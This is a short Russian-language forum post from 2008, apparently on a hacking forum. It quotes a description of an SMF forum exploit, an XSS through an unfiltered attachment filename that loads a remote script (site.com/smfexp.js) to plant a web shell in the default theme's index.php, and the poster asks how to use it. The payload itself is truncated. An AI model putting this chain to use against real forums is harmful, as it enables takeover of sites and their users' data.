06.09.2008, 14:14
|
|
Постоянный
Регистрация: 02.03.2008
Сообщений: 893
С нами:
9574565
Репутация:
712
|
|
В теме Уязвимости SMF (во втором сообщении)
XSS
Отсутствует фильтрация atachment filename
-------------------------
Получение web shell'a
нужно создать сообщение и прикрепить файл с именем "name<img src=...."
и загружается .js скрипт
Это код простейшего динамического загрузчика скриптов http://site.com/smfexp.js - адрес загружаемого скрипта smfexp.js изменяет шаблон default темы: вставляет в /smf/Themes/default/index.php shell
-------
Этот скрипт изменять надо или шел появится сразу как я напишу сообщение ? |
|
|